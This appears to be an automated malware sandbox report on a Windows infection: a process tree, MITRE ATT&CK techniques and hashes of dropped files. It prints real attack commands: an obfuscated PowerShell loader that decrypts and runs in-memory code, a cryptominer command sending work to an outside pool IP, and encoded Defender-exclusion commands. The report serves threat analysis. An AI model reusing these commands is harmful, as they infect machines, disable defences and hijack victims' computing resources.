        System Location Discovery: System Language Discovery
        
        PID:5240
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10476701121\ccosvAs.cmd"
        7⤵
        
        PID:1444
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
        8⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:212
      - C:\Users\Admin\AppData\Local\Temp\10476710101\Rm3cVPI.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476710101\Rm3cVPI.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:8092
      - C:\Users\Admin\AppData\Local\Temp\10476720101\7596477f77.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476720101\7596477f77.exe"
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Identifies Wine through registry keys
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        
        PID:8336
      - C:\Users\Admin\AppData\Local\Temp\10476730101\TbV75ZR.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476730101\TbV75ZR.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:9164
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:9144
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        
        PID:9136
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        System Location Discovery: System Language Discovery
        
        PID:9120
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 9120 -s 616
        8⤵
        Program crash
        
        PID:9008
      - C:\Users\Admin\AppData\Local\Temp\10476740101\9sWdA2p.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476740101\9sWdA2p.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:9404
      - C:\Users\Admin\AppData\Local\Temp\10476750101\YMauSAr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476750101\YMauSAr.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:10304
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe
        
        C:\Users\Admin\AppData\Roaming\Oracle\javaplatform_update.exe
        7⤵
        Executes dropped EXE
        
        PID:10916
      - C:\Users\Admin\AppData\Local\Temp\10476770101\35b4c712c5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10476770101\35b4c712c5.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:11136
  - - C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2i0393.exe
      C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\2i0393.exe
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:4584
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1620
- - C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\"
    3⤵
    PID:4060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1116
- - C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\"
    3⤵
    PID:5516
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
  2⤵
  PID:7372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
  2⤵
  PID:4084
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o 196.251.118.49:49301 -u 47kJwZakUCHUPtYBwg8Hc5U3VEjqmPmKiYy8GPVQvdagRU2cTt9Fs4J34haCDRQNPdQ6oyhPQbmxP1dUp6aXVoogBCh9Dva.Worker_CPU -p x --cpu-max-threads-hint=50 -k
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:2400
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe --algo rx/0 -o 196.251.118.49:49301 -u 47kJwZakUCHUPtYBwg8Hc5U3VEjqmPmKiYy8GPVQvdagRU2cTt9Fs4J34haCDRQNPdQ6oyhPQbmxP1dUp6aXVoogBCh9Dva.Worker_CPU -p x --cpu-max-threads-hint=50 -k
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:5592

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:3204

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4560

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAFAAUABSAEUAZgBlAHIARQBOAGMAZQAgAC0ARQB4AEMAbABVAFMASQBvAG4AUABhAFQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAgAC0ARgBvAHIAYwBlADsAIABBAEQARAAtAE0AUABQAFIAZQBmAEUAUgBFAE4AYwBFACAALQBFAHgAQwBMAHUAUwBJAG8ATgBwAFIATwBDAGUAUwBTACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwATQBvAGQAZQBcAEkAcwBWAGEAbAB1AGUAQwByAGUAYQB0AGUAZAAuAGUAeABlACAALQBGAE8AUgBjAEUA
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3652

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6196

C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
C:\Users\Admin\AppData\Roaming\Mode\IsValueCreated.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4720
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious use of SetThreadContext
  - Suspicious use of AdjustPrivilegeToken
  PID:8912

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc YQBEAEQALQBtAHAAUABSAEUAZgBFAHIAZQBOAGMAZQAgAC0ARQBYAEMATAB1AFMAaQBvAE4AcABSAG8AQwBFAFMAcwAgAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzAC4AZQB4AGUAIAAtAGYATwBSAEMAZQA=
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
PID:6476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 5464 -ip 5464
1⤵
PID:5136

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3164

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
- Executes dropped EXE
PID:4756

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:3120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 9120 -ip 9120
1⤵
PID:9048

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:2708

C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
C:\Users\Admin\AppData\Local\Temp\97419fb2c0\futors.exe
1⤵
PID:12616

C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
1⤵
PID:3672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Modify Authentication Process

T1556

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Authentication Process

T1556

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe

Filesize
1.9MB

MD5
bcbec32483eb43840823c4f6bd653779

SHA1
3b83255512c5f268d0a1cb2997b1cc9d40f4252d

SHA256
d8a8e71a2be6d5fafa5d49029a37751c78be7e007152859233b8020a5c258167

SHA512
4cb807157807c72d599305eada37e85330314e43061f9af3ab9c44839bfc945431e320adf5259b9a9ecb531368cd9ab91d047eb8874f0ce6a8d4022ed69a6408

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Filesize
40B

MD5
e2fd6fa8cef077bad2448c4ada2923aa

SHA1
23b29486afc2088b7ddfe02f17f9ec21d198fe52

SHA256
98df471c71eee1ae9537b226bd1b98be25b26592431e0ecebf2e6e3c152fea33

SHA512
35cd496710a51f509b71a6eea601e0f280c61d4d36253be853a86726db5e9f1f4fd65a6c3982f665723007c8c2164bd0d25bdf41ffa64eebd1f5218db1593385

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
80KB

MD5
107052fc042c8ffb7b97fa00617365e9

SHA1
02c4a1a305f927d3095c1344ad25ac3722421745

SHA256
833299eece76c27846d3c81644680c94f50e61e60668571cde0c0804cca3c19d

SHA512
0f2955ec8698c69f8a585797be011033a81e3c22765878196680422de64301ce55df3bb7c93af0d74af3960b69be0990d0353caf8dca64cdc8bd4675563aa81c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\WP7READH\service[1].htm

Filesize
1B

MD5
cfcd208495d565ef66e7dff9f98764da

SHA1
b6589fc6ab0dc82cf12099d1c2d40ab994e8410c

SHA256
5feceb66ffc86f38d952786c6d696c79c2dbc239dd4e91b46729d73a27fb57e9

SHA512
31bca02094eb78126a517b206a88c73cfa9ec6f704c7030d18212cace820f025f00bf0ea68dbf3f3a5436ca63b53bf7bf80ad8d5de7d8359d0b7fed9dbc3ab99

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
112ea3e72acb65600d090deb0fcb7cb1

SHA1
72622f1bd8df3ffcab6f45c73ab63bd8c1a7e2ea

SHA256
9f891c3f336be1f1dccb32c1d8f1c21c7a0ca06251bf9d3a581d7245f0966742

SHA512
38fa4e70768a1fd595a76aa35d943f848a8636a95b5929e34df62b8db9af3c70f4582a3cea7d37795dd47b7c0490d223c6d30ab4a59d886bec26b09b1919bb31

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
3737c3eb5510d74c3d6ea770e9ff4ffb

SHA1
88148610a4f00560b06bc8607794d85f15bf3b64

SHA256
b716e0860cc27dd1035a125f44833c5999f4a0429635df6d97634f041b25effa

SHA512
db4db804933ab50bf56130a939040e33a57e4ec056c9e0c598bcae86bbaf093e2a22fd4ec8801f6b029985170f17859a931e63f28a7abb4f91780da2a33e1ebc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
242864fa38cfb42f8eed89a9a80b510d

SHA1
0981832f0e0ce28fc8dc011072e9f6579d8b16de

SHA256
d409c32deeb1808a9116227000bbeb40b15a3b33bd4c2f16c97ce3b590201442

SHA512
33650c0e18790d0ee0ef772941b03728cb3aa993b79a23287fb1d3ddf17194cd7dba40539c76384d21265b64c25c38ff99ac2caa416611c6f236b0dd9634b0b5

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3xhpu52e.default-release\activity-stream.discovery_stream.json

Filesize
23KB

MD5
3bebac9e8f4bd47c5e204cf05010d776

SHA1
b4fbbfe5e4237a35c603d47a2f1a56b75503e2cf

SHA256
bd44105ec649a721873eb42d9642c41f1e7ed383ead7a499cf58306a013fdfbf

SHA512
f7f0a5bfdd8a5837f1c4ee2b6cace50cbe147e2e10279cb4a3e867f3118b966cdef3db9ff49ea26a373a7c635d6ba91b2772c920882dd6a8efdad5e339c6cdce

Download Submit
C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3xhpu52e.default-release\cache2\entries\A585344A45AF937E3AB7D706291A9A3ED8D581D9

Filesize
13KB

MD5
973063c66fa2118091f58fb7ff72e987

SHA1
b64029ad150e2de36cab4edb3cca428e8316bf15

SHA256
bd5841ac06eec393bfea961e38bb7fd9b658abde0cc89a601dbf76c8a2c4ac0c

